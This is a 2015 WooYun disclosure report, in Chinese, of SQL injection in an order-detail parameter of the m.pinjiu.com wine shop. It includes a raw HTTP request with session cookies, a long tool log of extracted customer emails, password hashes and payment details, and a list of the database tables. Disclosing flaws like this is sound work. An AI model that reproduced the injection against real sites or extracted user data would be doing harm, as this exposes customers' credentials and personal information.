趣网旗下品酒网一处SQL注入(厂商修复没有一系列的流程导致躺枪)

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0124806

漏洞标题：趣网旗下品酒网一处SQL注入(厂商修复没有一系列的流程导致躺枪)

漏洞作者：小龙

提交时间：2015-07-06 15:09

修复时间：2015-08-24 09:58

公开时间：2015-08-24 09:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-06：细节已通知厂商并且等待厂商处理中
2015-07-10：厂商已经确认，细节仅向厂商公开
2015-07-20：细节向核心白帽子及相关领域专家公开
2015-07-30：细节向普通白帽子公开
2015-08-09：细节向实习白帽子公开
2015-08-24：细节向公众公开

简要描述：

上卖避孕套，下卖知名红酒

详细说明：

随便找了一个都是卖了一千+的。。看来这个品牌不错
有意思可以给我邮一瓶，嘎嘎

卖的还是挺火的。。用户也挺多

漏洞证明：

1.txt

GET /order.php?act=detail&order_sn=2015070520670 HTTP/1.1
Host: m.pinjiu.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) 
Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=v602rqshkmsbe5rfe36tbdudf5; 
ecsid=398a1415d3133e21e21916b9d5c6ab29ff96417e; referer=http%3A%2F
%2Fwww.baidu.com%2Flink%3Furl%3D4ijpm-CxIq40H5Ds8U9_QwOEKmuxePjbe5eKHJJniOW%26wd
%3D%26eqid%3Dce71eacf0000b34b0000000555996a1f; 
Hm_lvt_36b8ed2a4ed9345c6804dca4d6d7180c=1436117445,1436117491,1436117492; 
Hm_lpvt_36b8ed2a4ed9345c6804dca4d6d7180c=1436117554; lastcar=797; 
cartid=398a1415d3133e21e21916b9d5c6ab29; eurl=m.pinjiu.com; 
Hm_lvt_5edbd0cb00504a3c6f725a1086bb12f5=1436117522; 
Hm_lpvt_5edbd0cb00504a3c6f725a1086bb12f5=1436117675

登陆账号才可以注入

[02:48:21] [INFO] retrieved: [email protected]
[02:48:21] [INFO] retrieved: cjXBfeJIFeN8dT+73Tyq8A==
[02:48:21] [INFO] retrieved: 0.00
[02:48:22] [INFO] retrieved: 841
[02:48:22] [INFO] retrieved:
[02:48:22] [INFO] retrieved: 货到付款
[02:48:22] [INFO] retrieved: 02312564589
[02:48:23] [INFO] retrieved:
[02:48:23] [INFO] retrieved: [email protected]
[02:48:23] [INFO] retrieved: buz9xJFqqqX1bj+p2nBL9g==
[02:48:23] [INFO] retrieved: 0.00
[02:48:24] [INFO] retrieved: 843
[02:48:24] [INFO] retrieved:
[02:48:24] [INFO] retrieved: 货到付款
[02:48:24] [INFO] retrieved: 02312564589
[02:48:25] [INFO] retrieved:
[02:48:25] [INFO] retrieved: [email protected]
[02:48:25] [INFO] retrieved: TIQlcYYLVIm+rRUQh5vVWw==
[02:48:25] [INFO] retrieved: 0.00
[02:48:25] [INFO] retrieved: 844
[02:48:26] [INFO] retrieved:
[02:48:26] [INFO] retrieved: 支付宝
[02:48:26] [INFO] retrieved: 02312564589
[02:48:26] [INFO] retrieved:
[02:48:27] [INFO] retrieved: [email protected]
[02:48:27] [INFO] retrieved: TIQlcYYLVIkM2q97x1RDsg==
[02:48:27] [INFO] retrieved: 0.00
[02:48:27] [INFO] retrieved: 845
[02:48:27] [INFO] retrieved:
[02:48:28] [INFO] retrieved: 支付宝
[02:48:28] [INFO] retrieved: 02312564589
[02:48:28] [INFO] retrieved:
[02:48:28] [INFO] retrieved: [email protected]
[02:48:29] [INFO] retrieved: knoP7m/ohz9PDYW9/5cYyQ==
[02:48:29] [INFO] retrieved: 0.00
[02:48:29] [INFO] retrieved: 846
[02:48:29] [INFO] retrieved:
[02:48:30] [INFO] retrieved: 支付宝
[02:48:30] [INFO] retrieved: 02312564589
[02:48:30] [INFO] retrieved:
[02:48:30] [INFO] retrieved: [email protected]
[02:48:30] [INFO] retrieved: hKJjwZ1Chd9ek0Rjy/0J7g==
[02:48:31] [INFO] retrieved: 0.00
[02:48:31] [INFO] retrieved: 847
[02:48:31] [INFO] retrieved:
[02:48:32] [INFO] retrieved: 支付宝
[02:48:32] [INFO] retrieved: 02312564589
[02:48:32] [INFO] retrieved:
[02:48:32] [INFO] retrieved: [email protected]
[02:48:32] [INFO] retrieved: /JvJLZYQMpxKDvBni7FHmg==
[02:48:33] [INFO] retrieved: 0.00
[02:48:33] [INFO] retrieved: 848
[02:48:33] [INFO] retrieved:
[02:48:33] [INFO] retrieved: 货到付款
[02:48:34] [INFO] retrieved: 02312564589
[02:48:34] [INFO] retrieved:
[02:48:34] [INFO] retrieved: [email protected]
[02:48:34] [INFO] retrieved: 2tasB2KWheR569msGUQonw==
[02:48:34] [INFO] retrieved: 0.00
[02:48:35] [INFO] retrieved: 849
[02:48:35] [INFO] retrieved:
[02:48:35] [INFO] retrieved: 货到付款
[02:48:35] [INFO] retrieved: 02312564589
[02:48:36] [INFO] retrieved:
[02:48:36] [INFO] retrieved: [email protected]
[02:48:36] [INFO] retrieved: PSD0XcWOiX/Bm9w+YUzpag==
[02:48:36] [INFO] retrieved: 0.00
[02:48:37] [INFO] retrieved: 850
[02:48:37] [INFO] retrieved:
[02:48:37] [INFO] retrieved: 支付宝
[02:48:37] [INFO] retrieved: 02312564589
[02:48:37] [INFO] retrieved:
[02:48:38] [INFO] retrieved: [email protected]
[02:48:38] [INFO] retrieved: PSD0XcWOiX/Bm9w+YUzpag==
[02:48:38] [INFO] retrieved: 0.00
[02:48:38] [INFO] retrieved: 851
[02:48:39] [INFO] retrieved:
[02:48:39] [INFO] retrieved: 支付宝
[02:48:39] [INFO] retrieved: 02312564589
[02:48:39] [INFO] retrieved:
[02:48:40] [INFO] retrieved: [email protected]
[02:48:40] [INFO] retrieved: PSD0XcWOiX/Bm9w+YUzpag==
[02:48:40] [INFO] retrieved: 0.00
[02:48:40] [INFO] retrieved: 852
[02:48:41] [INFO] retrieved:
[02:48:41] [INFO] retrieved: 支付宝
[02:48:41] [INFO] retrieved: 02312564589
[02:48:41] [INFO] retrieved:
[02:48:42] [INFO] retrieved: [email protected]
[02:48:42] [INFO] retrieved: PSD0XcWOiX/Bm9w+YUzpag==
[02:48:42] [INFO] retrieved: 0.00
[02:48:42] [INFO] retrieved: 853
[02:48:42] [INFO] retrieved:
[02:48:43] [INFO] retrieved: 支付宝
[02:48:43] [INFO] retrieved: 02312564589
[02:48:43] [INFO] retrieved:
[02:48:43] [INFO] retrieved: [email protected]
[02:48:44] [INFO] retrieved: hKJjwZ1Chd9ek0Rjy/0J7g==
[02:48:44] [INFO] retrieved: 0.00
[02:48:44] [INFO] retrieved: 854
[02:48:44] [INFO] retrieved:
[02:48:45] [INFO] retrieved: 支付宝
[02:48:45] [INFO] retrieved: 02312564589
[02:48:45] [INFO] retrieved:
[02:48:45] [INFO] retrieved: [email protected]
[02:48:45] [INFO] retrieved: hKJjwZ1Chd9ek0Rjy/0J7g==
[02:48:46] [INFO] retrieved: 0.00
[02:48:46] [INFO] retrieved: 855
[02:48:46] [INFO] retrieved:
[02:48:46] [INFO] retrieved: 货到付款
[02:48:47] [INFO] retrieved: 02312564589
[02:48:47] [INFO] retrieved:
[02:48:47] [INFO] retrieved: [email protected]
[02:48:47] [INFO] retrieved: mONnAqR2poxi2NC+iKVdkQ==
[02:48:48] [INFO] retrieved: 0.00
[02:48:48] [INFO] retrieved: 856
[02:48:48] [INFO] retrieved:
[02:48:48] [INFO] retrieved: 银行汇款
[02:48:49] [INFO] retrieved: 02312564589
[02:48:49] [INFO] retrieved:
[02:48:49] [INFO] retrieved: [email protected]
[02:48:49] [INFO] retrieved: RmeNK8/cnzhSLERZfWrUzg==
[02:48:50] [INFO] retrieved: 0.00
[02:48:50] [INFO] retrieved: 857
[02:48:50] [INFO] retrieved:
[02:48:50] [INFO] retrieved: 货到付款
[02:48:50] [INFO] retrieved: 02312564589
[02:48:51] [INFO] retrieved:
[02:48:51] [INFO] retrieved: [email protected]
[02:48:51] [INFO] retrieved: sbZ/n2Mcftf1bj+p2nBL9g==
[02:48:51] [INFO] retrieved: 0.00
[02:48:52] [INFO] retrieved: 858
[02:48:52] [INFO] retrieved:
[02:48:52] [INFO] retrieved: 货到付款
[02:48:52] [INFO] retrieved: 02312564589
[02:48:53] [INFO] retrieved:
[02:48:53] [INFO] retrieved: [email protected]
[02:48:53] [INFO] retrieved: Z9SVT/N8WS7Ev6SGcBJAvA==
[02:48:53] [INFO] retrieved: 0.00
[02:48:53] [INFO] retrieved: 859
[02:48:54] [INFO] retrieved:
[02:48:54] [INFO] retrieved: 银行汇款
[02:48:54] [INFO] retrieved: 02312564589
[02:48:54] [INFO] retrieved:
[02:48:55] [INFO] retrieved: [email protected]
[02:48:55] [INFO] retrieved: Z9SVT/N8WS7Ev6SGcBJAvA==
[02:48:55] [INFO] retrieved: 0.00
[02:48:55] [INFO] retrieved: 860
[02:48:56] [INFO] retrieved:
[02:48:56] [INFO] retrieved: 支付宝
[02:48:56] [INFO] retrieved: 02312564589
[02:48:56] [INFO] retrieved:
[02:48:57] [INFO] retrieved: [email protected]
[02:48:57] [INFO] retrieved: VYNA2VspTpZFdFuLHzEIKw==
[02:48:57] [INFO] retrieved: 0.00
[02:48:57] [INFO] retrieved: 861
[02:48:57] [INFO] retrieved:
[02:48:58] [INFO] retrieved: 货到付款
[02:48:58] [INFO] retrieved: 02312564589
[02:48:58] [INFO] retrieved:
[02:48:58] [INFO] retrieved: [email protected]
[02:48:59] [INFO] retrieved: 52WDbiI7taU=
[02:48:59] [INFO] retrieved: 0.00
[02:48:59] [INFO] retrieved: 862
[02:48:59] [INFO] retrieved:
[02:49:00] [INFO] retrieved: 货到付款
[02:49:00] [INFO] retrieved: 02312564589
[02:49:00] [INFO] retrieved:
[02:49:00] [INFO] retrieved: [email protected]
[02:49:00] [INFO] retrieved: 52WDbiI7taU=
[02:49:01] [INFO] retrieved: 0.00
[02:49:01] [INFO] retrieved: 863
[02:49:01] [INFO] retrieved:
[02:49:02] [INFO] retrieved: 货到付款
[02:49:02] [INFO] retrieved: 02312564589
[02:49:02] [INFO] retrieved:
[02:49:02] [INFO] retrieved: [email protected]
[02:49:03] [INFO] retrieved: epT/ZLD3qrQ=
[02:49:03] [INFO] retrieved: 0.00
[02:49:03] [INFO] retrieved: 864

手机号码姓名地址不跑了。仅此证明

ecs_access_token
 ecs_account_log
 ecs_ad
 ecs_ad_custom
 ecs_ad_position
 ecs_admin_action
 ecs_admin_log
 ecs_admin_message
 ecs_admin_user
 ecs_adsense
 ecs_affiliate_log
 ecs_agency
 ecs_append_subscribe
 ecs_area_region
 ecs_article
 ecs_article_cat
 ecs_attribute
 ecs_auction_log
 ecs_auto_manage
 ecs_back_goods
 ecs_back_order
 ecs_bless
 ecs_bonus_type
 ecs_booking_goods
 ecs_brand
 ecs_card
 ecs_cart
 ecs_cat_recommend
 ecs_category
 ecs_cnzz_manager
 ecs_collect_goods
 ecs_comment
 ecs_comment_phrase
 ecs_crons
 ecs_delivery_goods
 ecs_delivery_order
 ecs_email_list
 ecs_email_sendlist
 ecs_error_log
 ecs_exchange_goods
 ecs_favourable_activity
 ecs_feedback
 ecs_friend_link
 ecs_goods
 ecs_goods_activity
 ecs_goods_article
 ecs_goods_attr
 ecs_goods_bak
 ecs_goods_cat
 ecs_goods_gallery
 ecs_goods_templates
 ecs_goods_type
 ecs_group_goods
 ecs_invitation
 ecs_keywords
 ecs_link_goods
 ecs_mail_templates
 ecs_member_price
 ecs_nav
 ecs_order_action
 ecs_order_goods
 ecs_order_info
 ecs_pack
 ecs_package_goods
 ecs_pay_log
 ecs_payment
 ecs_plugins
 ecs_prize_draw
 ecs_prize_goods
 ecs_prize_log
 ecs_products
 ecs_pwedding
 ecs_reg_extend_info
 ecs_reg_fields
 ecs_region
 ecs_role
 ecs_searchengine
 ecs_sessions
 ecs_sessions_data
 ecs_shipping
 ecs_shipping_area
 ecs_shop_config
 ecs_sms_log
 ecs_snatch_log
 ecs_stats
 ecs_suppliers
 ecs_tag
 ecs_template
 ecs_topic
 ecs_topic_mailtopic
 ecs_user_account
 ecs_user_address
 ecs_user_bonus
 ecs_user_feed
 ecs_user_rank
 ecs_users
 ecs_virtual_card
 ecs_volume_price
 ecs_vote
 ecs_vote_log
 ecs_vote_option
 ecs_wedding
 ecs_wholesale
 ecs_wxbonus_detail

自家的数据库表别说不知道哦- -来个20分吧

修复方案：

1：过滤select等特殊符号，带有执行性的

版权声明：转载请注明来源小龙@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-07-10 09:57

厂商回复：

谢谢

WooYun.org

漏洞概要关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0124806

漏洞标题：趣网旗下品酒网一处SQL注入(厂商修复没有一系列的流程导致躺枪)

相关厂商：qu.cn

漏洞作者：小龙

提交时间：2015-07-06 15:09

修复时间：2015-08-24 09:58

公开时间：2015-08-24 09:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签：无

4人收藏收藏
分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源小龙@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0124806

漏洞标题：趣网旗下品酒网一处SQL注入(厂商修复没有一系列的流程导致躺枪)

相关厂商：qu.cn

漏洞作者： 小龙

提交时间：2015-07-06 15:09

修复时间：2015-08-24 09:58

公开时间：2015-08-24 09:58

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

Tags标签： 无

4人收藏 收藏 var token=""; var id="wooyun-2015-0124806"; $(".btn-fav").click(function(){ CollectBug(id,token); }); 分享漏洞：

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 小龙@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞概要关注数(24) 关注此漏洞

漏洞作者：小龙

Tags标签：无

4人收藏收藏
分享漏洞：

版权声明：转载请注明来源小龙@乌云